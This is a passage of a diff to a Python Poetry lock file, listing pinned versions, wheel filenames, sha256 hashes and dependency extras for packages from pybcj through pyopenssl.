"pybcj-1.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:39dd836134e261ec769cd5aa9ae7a3a330a7dac81efb66eb5504643abd8235df"}, + {file = "pybcj-1.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:acfc4a02ddf22f6df7184441b39f38c31e95aa8af41de4d2f825821ab1fb85c6"}, + {file = "pybcj-1.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f4428b6808d781f4b605a27f53fc10a3ca343d1cd901c691b9ba2e4ed85a5fc7"}, + {file = "pybcj-1.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:74d34340323996b70dbd73e9530cca71c05ff7c97e30fe4d32aeea2f877836ca"}, + {file = "pybcj-1.0.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bf87f2a7f827656bc6e1d9888d47931aa0ae35cdc4ff33b1cec70d8d462590b3"}, + {file = "pybcj-1.0.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e6a74cb618da93ac1322d6a548a4508e76eb4c388ed1c80560bc25d8764cf272"}, + {file = "pybcj-1.0.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f472da992a6ba58381c0314b994c01d20e522ff8836417ef1c0975bdae142406"}, + {file = "pybcj-1.0.1-cp311-cp311-win32.whl", hash = "sha256:f58e489e43c9a1688c7d5ceb7455b44952d87f183b7b9c915b301478a2b3bfbe"}, + {file = "pybcj-1.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:a74e70bf3fd50a413fdce4264e037b8e8f34cb8d9207ac364167b6eb076c14ec"}, + {file = "pybcj-1.0.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:8e846a8272bf02202794fe22beaf389ed27c2d8ebf59aafb43af4935feac0389"}, + {file = "pybcj-1.0.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:421f211fb15aeb836b4ba61174cb409fc82222ab3b2486deb4953ae863e6507b"}, + {file = "pybcj-1.0.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdabbe7fd66886943393ecf98318d7801dd40183af80314acd4464bccdd44d53"}, + {file = "pybcj-1.0.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:731800acfc6112132aa2b7d08f9d6fe49a0c0071b30985809d084e238af98dac"}, + {file = "pybcj-1.0.1-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:09872b32edad4e3653d5b357b244d267ca58fe52d4e1dd3cdff816d3bb9d9f7c"}, + {file = "pybcj-1.0.1-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:5de90f8b6c7fc1d28dbe74c29b1d5053a7a8703cbc2c6f4f112907ffd7529f8e"}, + {file = "pybcj-1.0.1-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:10961ea10ae930b9348132707b9dd3cf3e71a41ef1df7656fbc4f14a71f10747"}, + {file = "pybcj-1.0.1-cp36-cp36m-win32.whl", hash = "sha256:6f589af70286ec6565e3415145a03abc3c14a23ed7ed198ac741de81af332f26"}, + {file = "pybcj-1.0.1-cp36-cp36m-win_amd64.whl", hash = "sha256:b901f12380e988da07f21bb6b75da7f91fd9feffb43fcf70fad698e40a2ef3a7"}, + {file = "pybcj-1.0.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:2e1859d36c073231737956fbeb5bbcfa8dba880e1b66bfbd001466718d6d89dc"}, + {file = "pybcj-1.0.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:421ed75e54ebecd79c80178c1df5bdbe1e0e3e10e7efef5f011b5f0be6a9a12f"}, + {file = "pybcj-1.0.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:872697d8bff2572e4225ed8cbce17be338faac28ec1ab3c00419aaef2f56dd3c"}, + {file = "pybcj-1.0.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dc23f2ac2c1ded250f1aa66fbd1a3d823f76de549978b61eed4fb34affc11338"}, + {file = "pybcj-1.0.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:8efed581f2ee74f1e0ec04a10e97881b93abc258d13b15ef966aee71732ac152"}, + {file = "pybcj-1.0.1-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:bb378b0f133e19d437eca4327bac7c3f38e30950c5c604092c72b18cba839bc2"}, + {file = "pybcj-1.0.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:534b8b253dbdb746c06bab28383db31d7e2b42aa9b33ed4e7836319622dcd75b"}, + {file = "pybcj-1.0.1-cp37-cp37m-win32.whl", hash = "sha256:15edd1786617127ecfda4274bbb04f09ae299c474ada86e369bcf050d5cb88dd"}, + {file = "pybcj-1.0.1-cp37-cp37m-win_amd64.whl", hash = "sha256:393d95f83e47976d137bcec7b66986f51282dcb2091933f88983dd7eb89e59c4"}, + {file = "pybcj-1.0.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e89a814f1727be7d543ac6910f0d94131f43a337e811ab684606d42dbc22b701"}, + {file = "pybcj-1.0.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b3861996b06b8238f799b4f1bd9542d1a8ae8e4765adbdde25ed011c3bda11df"}, + {file = "pybcj-1.0.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7801ee9a9fcd47b92d4d90ff9a28cfdc23195cad72bd8032938ab3c794942b43"}, + {file = "pybcj-1.0.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:10182725b0e6aa944d13a10a4a9cb5208bafe0016b4326253340948153de4bc0"}, + {file = "pybcj-1.0.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fc313b1a5547c5416982853f2de1454980704f3ab3dbcad18dacdc565a2eafc"}, + {file = "pybcj-1.0.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7b3773a77ae3b18778c9bf22c7ba6478a0e5416f84b7d2ac6d764001f6d0d985"}, + {file = "pybcj-1.0.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:c72ff262613c9a6f20e80bcf1e8bbc000b78b95a7fa301164ab3e3bd23bd936c"}, + {file = "pybcj-1.0.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:262f53e27bca6096e3424c63e5e59948b10985eee4b03a5d70c3f3f6161a79e7"}, + {file = "pybcj-1.0.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:efe75e3b8768c4f9d454d3c1b2b2a67e757f2b00d638146d3a4cddb38460fc3a"}, + {file = "pybcj-1.0.1-cp38-cp38-win32.whl", hash = "sha256:a77796b4c5370cedd4fad2264b6d7a78cb40229c7fa3cbcab24df3adea768962"}, + {file = "pybcj-1.0.1-cp38-cp38-win_amd64.whl", hash = "sha256:4d10dd75fad48555e9530c5565c7ccf13754adad2fe331feefb263055cdca7b3"}, + {file = "pybcj-1.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1c0e1657c233f9f4070ab578951e03d569f1b645042ce661341091f50e41b541"}, + {file = "pybcj-1.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:603daa737579cf69efb368fab716cdce18d0b2615af77bb623f5f42aa546b3d8"}, + {file = "pybcj-1.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:df75707f466ab6fa086f164bff2df75fd16543c8d43ca43a268f938c1144e792"}, + {file = "pybcj-1.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fda423836d7d69cba6a6f99e7a34c2e5fe3621e5e945cd25ea9ba60a96223254"}, + {file = "pybcj-1.0.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3847387b43af47d9677952b8a22d9c2d8a544c2175b6d5304c200669c05d39e1"}, + {file = "pybcj-1.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b99f4291e59dcbe548be5a1e8c6a1a19a860184526c2d14fc374ec687b98ad7d"}, + {file = "pybcj-1.0.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:05fad9a905772774aacc96cb174571ac1f5afa80b9f54c6ec414d369865d305c"}, + {file = "pybcj-1.0.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:d5c4ca6faff0af4b5f3e7d88d13ec76f8cac36c9bcc814b8c84d9f3f951b2cf9"}, + {file = "pybcj-1.0.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:4bc8720f3a224c27bd413a930b9bec5f225fda050641258967b1ebb252a053fb"}, + {file = "pybcj-1.0.1-cp39-cp39-win32.whl", hash = "sha256:d61f287f820787d3acf60d113c5ce6e506870d9d3103bc37a74373e72ce9d7a6"}, + {file = "pybcj-1.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:bbb49772fc3896850a704215160df8316db89e5e8876b2d8af6c6c15b4e0f6ea"}, + {file = "pybcj-1.0.1-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:c1e02170f8d358a8ddc716606760c73d55eea6bdb0cca2d97b86447e9524708b"}, + {file = "pybcj-1.0.1-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bc1684b9f7ec92d2ae94a137ec311bd2227f684429521061af7ceed4952c7f72"}, + {file = "pybcj-1.0.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1e6434a46f852cd3e6929633b43537887bd381bc614dbf5c4a128fdde4966b3a"}, + {file = "pybcj-1.0.1-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:795dff9229dc024e54bd0f618f5a3adb269ee0cccd7ac9a0bef29df388beed23"}, + {file = "pybcj-1.0.1-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:358dba3dc39a07cded6897b9f99bb5b951a0ad95d567eda535b44861caa02f5b"}, + {file = "pybcj-1.0.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:6df9eccc99a0d7bc091b58cff2f507b89f076d657253975fa2ca9eb42dbb4733"}, + {file = "pybcj-1.0.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f46ba61c942ee64198444c9562c5cf089eaf97f17b413e15fa1c0614df304734"}, + {file = "pybcj-1.0.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2f950ca403ffaa808a017e40e3371115bcb0b4b1061772b03e7d842555132ac"}, + {file = "pybcj-1.0.1-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6485c6b091504c0e6431a9495309271626eaa9ecb23276903486824f94f4c551"}, + {file = "pybcj-1.0.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:9b56eeff51efa556ecc186260ac486a4ddd79ad37bc88d669e96c45190f3c0da"}, + {file = "pybcj-1.0.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:d5b327df02761c42399c878cd6c37f885bf0639befbd4d1ab763cd44ba1e0552"}, + {file = "pybcj-1.0.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:023082fd677f67ebd36fe96322a4a45ac33a2b340d49010d88e1867c76744c50"}, + {file = "pybcj-1.0.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f8576a1dcf445ef064bf8c3b2cdc1d6353e41cb4b366329946883e285dcbcec0"}, + {file = "pybcj-1.0.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1a5365edcaa82dc47e7757ba2efb48f96b9b352e3811a2aaa90084802479ddbe"}, + {file = "pybcj-1.0.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:6ca6ddae1302477879099d4c4efc65790f4610d71ceff7fbe8f8b60f6ac6dcff"}, + {file = "pybcj-1.0.1.tar.gz", hash = "sha256:8b682ed08caabfb7c042d4be083e28ddc692afb1deff5567111f8855071b75c3"}, +] + +[package.extras] +check = ["check-manifest", "flake8 (<5)", "flake8-black", "flake8-colors", "flake8-isort", "flake8-pyi", "flake8-typing-imports", "mypy (>=0.812)", "mypy-extensions (>=0.4.3)", "pygments", "readme-renderer"] +test = ["coverage[toml] (>=5.2)", "hypothesis", "pytest (>=6.0)", "pytest-cov"] + +[[package]] +name = "pycodestyle" +version = "2.9.1" +description = "Python style guide checker" +category = "dev" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pycodestyle-2.9.1-py2.py3-none-any.whl", hash = "sha256:d1735fc58b418fd7c5f658d28d943854f8a849b01a5d0a1e6f3f3fdd0166804b"}, + {file = "pycodestyle-2.9.1.tar.gz", hash = "sha256:2c9607871d58c76354b697b42f5d57e1ada7d261c261efac224b664affdc5785"}, +] + +[[package]] +name = "pycountry" +version = "22.3.5" +description = "ISO country, subdivision, language, currency and script definitions and their translations" +category = "main" +optional = false +python-versions = ">=3.6, <4" +files = [ + {file = "pycountry-22.3.5.tar.gz", hash = "sha256:b2163a246c585894d808f18783e19137cb70a0c18fb36748dc01fc6f109c1646"}, +] + +[package.dependencies] +setuptools = "*" + +[[package]] +name = "pycparser" +version = "2.21" +description = "C parser in Python" +category = "main" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "pycparser-2.21-py2.py3-none-any.whl", hash = "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9"}, + {file = "pycparser-2.21.tar.gz", hash = "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"}, +] + +[[package]] +name = "pycryptodomex" +version = "3.17" +description = "Cryptographic library for Python" +category = "main" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +files = [ + {file = "pycryptodomex-3.17-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:12056c38e49d972f9c553a3d598425f8a1c1d35b2e4330f89d5ff1ffb70de041"}, + {file = "pycryptodomex-3.17-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:ab33c2d9f275e05e235dbca1063753b5346af4a5cac34a51fa0da0d4edfb21d7"}, + {file = "pycryptodomex-3.17-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:caa937ff29d07a665dfcfd7a84f0d4207b2ebf483362fa9054041d67fdfacc20"}, + {file = "pycryptodomex-3.17-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:db23d7341e21b273d2440ec6faf6c8b1ca95c8894da612e165be0b89a8688340"}, + {file = "pycryptodomex-3.17-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:f854c8476512cebe6a8681cc4789e4fcff6019c17baa0fd72b459155dc605ab4"}, + {file = "pycryptodomex-3.17-cp27-cp27m-win32.whl", hash = "sha256:a57e3257bacd719769110f1f70dd901c5b6955e9596ad403af11a3e6e7e3311c"}, + {file = "pycryptodomex-3.17-cp27-cp27m-win_amd64.whl", hash = "sha256:d38ab9e53b1c09608ba2d9b8b888f1e75d6f66e2787e437adb1fecbffec6b112"}, + {file = "pycryptodomex-3.17-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:3c2516b42437ae6c7a29ef3ddc73c8d4714e7b6df995b76be4695bbe4b3b5cd2"}, + {file = "pycryptodomex-3.17-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:5c23482860302d0d9883404eaaa54b0615eefa5274f70529703e2c43cc571827"}, + {file = "pycryptodomex-3.17-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:7a8dc3ee7a99aae202a4db52de5a08aa4d01831eb403c4d21da04ec2f79810db"}, + {file = "pycryptodomex-3.17-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:7cc28dd33f1f3662d6da28ead4f9891035f63f49d30267d3b41194c8778997c8"}, + {file = "pycryptodomex-3.17-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:2d4d395f109faba34067a08de36304e846c791808524614c731431ee048fe70a"}, + {file = "pycryptodomex-3.17-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:55eed98b4150a744920597c81b3965b632038781bab8a08a12ea1d004213c600"}, + {file = "pycryptodomex-3.17-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:7fa0b52df90343fafe319257b31d909be1d2e8852277fb0376ba89d26d2921db"}, + {file = "pycryptodomex-3.17-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:78f0ddd4adc64baa39b416f3637aaf99f45acb0bcdc16706f0cc7ebfc6f10109"}, + {file = "pycryptodomex-3.17-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4fa037078e92c7cc49f6789a8bac3de06856740bb2038d05f2d9a2e4b165d59"}, + {file = "pycryptodomex-3.17-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:88b0d5bb87eaf2a31e8a759302b89cf30c97f2f8ca7d83b8c9208abe8acb447a"}, + {file = "pycryptodomex-3.17-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:6feedf4b0e36b395329b4186a805f60f900129cdf0170e120ecabbfcb763995d"}, + {file = "pycryptodomex-3.17-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:7a6651a07f67c28b6e978d63aa3a3fccea0feefed9a8453af3f7421a758461b7"}, + {file = "pycryptodomex-3.17-cp35-abi3-win32.whl", hash = "sha256:32e764322e902bbfac49ca1446604d2839381bbbdd5a57920c9daaf2e0b778df"}, + {file = "pycryptodomex-3.17-cp35-abi3-win_amd64.whl", hash = "sha256:4b51e826f0a04d832eda0790bbd0665d9bfe73e5a4d8ea93b6a9b38beeebe935"}, + {file = "pycryptodomex-3.17-pp27-pypy_73-macosx_10_9_x86_64.whl", hash = "sha256:d4cf0128da167562c49b0e034f09e9cedd733997354f2314837c2fa461c87bb1"}, + {file = "pycryptodomex-3.17-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:c92537b596bd5bffb82f8964cabb9fef1bca8a28a9e0a69ffd3ec92a4a7ad41b"}, + {file = "pycryptodomex-3.17-pp27-pypy_73-win32.whl", hash = "sha256:599bb4ae4bbd614ca05f49bd4e672b7a250b80b13ae1238f05fd0f09d87ed80a"}, + {file = "pycryptodomex-3.17-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:4c4674f4b040321055c596aac926d12f7f6859dfe98cd12f4d9453b43ab6adc8"}, + {file = "pycryptodomex-3.17-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:67a3648025e4ddb72d43addab764336ba2e670c8377dba5dd752e42285440d31"}, + {file = "pycryptodomex-3.17-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:40e8a11f578bd0851b02719c862d55d3ee18d906c8b68a9c09f8c564d6bb5b92"}, + {file = "pycryptodomex-3.17-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:23d83b610bd97704f0cd3acc48d99b76a15c8c1540d8665c94d514a49905bad7"}, + {file = "pycryptodomex-3.17-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:fd29d35ac80755e5c0a99d96b44fb9abbd7e871849581ea6a4cb826d24267537"}, + {file = "pycryptodomex-3.17-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64b876d57cb894b31056ad8dd6a6ae1099b117ae07a3d39707221133490e5715"}, + {file = "pycryptodomex-3.17-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ee8bf4fdcad7d66beb744957db8717afc12d176e3fd9c5d106835133881a049b"}, + {file = "pycryptodomex-3.17-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:c84689c73358dfc23f9fdcff2cb9e7856e65e2ce3b5ed8ff630d4c9bdeb1867b"}, + {file = "pycryptodomex-3.17.tar.gz", hash = "sha256:0af93aad8d62e810247beedef0261c148790c52f3cd33643791cc6396dd217c1"}, +] + +[[package]] +name = "pydantic" +version = "1.10.7" +description = "Data validation and settings management using python type hints" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pydantic-1.10.7-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e79e999e539872e903767c417c897e729e015872040e56b96e67968c3b918b2d"}, + {file = "pydantic-1.10.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:01aea3a42c13f2602b7ecbbea484a98169fb568ebd9e247593ea05f01b884b2e"}, + {file = "pydantic-1.10.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:516f1ed9bc2406a0467dd777afc636c7091d71f214d5e413d64fef45174cfc7a"}, + {file = "pydantic-1.10.7-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae150a63564929c675d7f2303008d88426a0add46efd76c3fc797cd71cb1b46f"}, + {file = "pydantic-1.10.7-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ecbbc51391248116c0a055899e6c3e7ffbb11fb5e2a4cd6f2d0b93272118a209"}, + {file = "pydantic-1.10.7-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:f4a2b50e2b03d5776e7f21af73e2070e1b5c0d0df255a827e7c632962f8315af"}, + {file = "pydantic-1.10.7-cp310-cp310-win_amd64.whl", hash = "sha256:a7cd2251439988b413cb0a985c4ed82b6c6aac382dbaff53ae03c4b23a70e80a"}, + {file = "pydantic-1.10.7-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:68792151e174a4aa9e9fc1b4e653e65a354a2fa0fed169f7b3d09902ad2cb6f1"}, + {file = "pydantic-1.10.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:dfe2507b8ef209da71b6fb5f4e597b50c5a34b78d7e857c4f8f3115effaef5fe"}, + {file = "pydantic-1.10.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:10a86d8c8db68086f1e30a530f7d5f83eb0685e632e411dbbcf2d5c0150e8dcd"}, + {file = "pydantic-1.10.7-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d75ae19d2a3dbb146b6f324031c24f8a3f52ff5d6a9f22f0683694b3afcb16fb"}, + {file = "pydantic-1.10.7-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:464855a7ff7f2cc2cf537ecc421291b9132aa9c79aef44e917ad711b4a93163b"}, + {file = "pydantic-1.10.7-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:193924c563fae6ddcb71d3f06fa153866423ac1b793a47936656e806b64e24ca"}, + {file = "pydantic-1.10.7-cp311-cp311-win_amd64.whl", hash = "sha256:b4a849d10f211389502059c33332e91327bc154acc1845f375a99eca3afa802d"}, + {file = "pydantic-1.10.7-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:cc1dde4e50a5fc1336ee0581c1612215bc64ed6d28d2c7c6f25d2fe3e7c3e918"}, + {file = "pydantic-1.10.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e0cfe895a504c060e5d36b287ee696e2fdad02d89e0d895f83037245218a87fe"}, + {file = "pydantic-1.10.7-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:670bb4683ad1e48b0ecb06f0cfe2178dcf74ff27921cdf1606e527d2617a81ee"}, + {file = "pydantic-1.10.7-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:950ce33857841f9a337ce07ddf46bc84e1c4946d2a3bba18f8280297157a3fd1"}, + {file = "pydantic-1.10.7-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:c15582f9055fbc1bfe50266a19771bbbef33dd28c45e78afbe1996fd70966c2a"}, + {file = "pydantic-1.10.7-cp37-cp37m-win_amd64.whl", hash = "sha256:82dffb306dd20bd5268fd6379bc4bfe75242a9c2b79fec58e1041fbbdb1f7914"}, + {file = "pydantic-1.10.7-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8c7f51861d73e8b9ddcb9916ae7ac39fb52761d9ea0df41128e81e2ba42886cd"}, + {file = "pydantic-1.10.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6434b49c0b03a51021ade5c4daa7d70c98f7a79e95b551201fff682fc1661245"}, + {file = "pydantic-1.10.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64d34ab766fa056df49013bb6e79921a0265204c071984e75a09cbceacbbdd5d"}, + {file = "pydantic-1.10.7-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:701daea9ffe9d26f97b52f1d157e0d4121644f0fcf80b443248434958fd03dc3"}, + {file = "pydantic-1.10.7-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:cf135c46099ff3f919d2150a948ce94b9ce545598ef2c6c7bf55dca98a304b52"}, + {file = "pydantic-1.10.7-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b0f85904f73161817b80781cc150f8b906d521fa11e3cdabae19a581c3606209"}, + {file = "pydantic-1.10.7-cp38-cp38-win_amd64.whl", hash = "sha256:9f6f0fd68d73257ad6685419478c5aece46432f4bdd8d32c7345f1986496171e"}, + {file = "pydantic-1.10.7-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c230c0d8a322276d6e7b88c3f7ce885f9ed16e0910354510e0bae84d54991143"}, + {file = "pydantic-1.10.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:976cae77ba6a49d80f461fd8bba183ff7ba79f44aa5cfa82f1346b5626542f8e"}, + {file = "pydantic-1.10.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7d45fc99d64af9aaf7e308054a0067fdcd87ffe974f2442312372dfa66e1001d"}, + {file = "pydantic-1.10.7-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d2a5ebb48958754d386195fe9e9c5106f11275867051bf017a8059410e9abf1f"}, + {file = "pydantic-1.10.7-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:abfb7d4a7cd5cc4e1d1887c43503a7c5dd608eadf8bc615413fc498d3e4645cd"}, + {file = "pydantic-1.10.7-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:80b1fab4deb08a8292d15e43a6edccdffa5377a36a4597bb545b93e79c5ff0a5"}, + {file = "pydantic-1.10.7-cp39-cp39-win_amd64.whl", hash = "sha256:d71e69699498b020ea198468e2480a2f1e7433e32a3a99760058c6520e2bea7e"}, + {file = "pydantic-1.10.7-py3-none-any.whl", hash = "sha256:0cd181f1d0b1d00e2b705f1bf1ac7799a2d938cce3376b8007df62b29be3c2c6"}, + {file = "pydantic-1.10.7.tar.gz", hash = "sha256:cfc83c0678b6ba51b0532bea66860617c4cd4251ecf76e9846fa5a9f3454e97e"}, +] + +[package.dependencies] +typing-extensions = ">=4.2.0" + +[package.extras] +dotenv = ["python-dotenv (>=0.10.4)"] +email = ["email-validator (>=1.0.3)"] + +[[package]] +name = "pyflakes" +version = "2.5.0" +description = "passive checker of Python programs" +category = "dev" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pyflakes-2.5.0-py2.py3-none-any.whl", hash = "sha256:4579f67d887f804e67edb544428f264b7b24f435b263c4614f384135cea553d2"}, + {file = "pyflakes-2.5.0.tar.gz", hash = "sha256:491feb020dca48ccc562a8c0cbe8df07ee13078df59813b83959cbdada312ea3"}, +] + +[[package]] +name = "pygments" +version = "2.15.1" +description = "Pygments is a syntax highlighting package written in Python." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "Pygments-2.15.1-py3-none-any.whl", hash = "sha256:db2db3deb4b4179f399a09054b023b6a586b76499d36965813c71aa8ed7b5fd1"}, + {file = "Pygments-2.15.1.tar.gz", hash = "sha256:8ace4d3c1dd481894b2005f560ead0f9f19ee64fe983366be1a21e171d12775c"}, +] + +[package.extras] +plugins = ["importlib-metadata"] + +[[package]] +name = "pyopenssl" +version = "23.1.1" +description = "Python wrapper module around the OpenSSL library" +category = "main" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pyOpenSSL-23.1.1-py3-none-any.whl", hash = "sha256:9e0c526404a210df9d2b18cd33364beadb0dc858a739b885677bc65e105d4a4c"}, + {file = "pyOpenSSL-23.1.1.tar.gz", hash = "sha256:841498b9bec61623b1b6c47ebbc02367c07d60e0e195f19790817f10cc8db0b7"}, +] + +[package.dependencies] +cryptography = ">=38.0.0,<41" + +[package.extras] +docs = ["sphinx 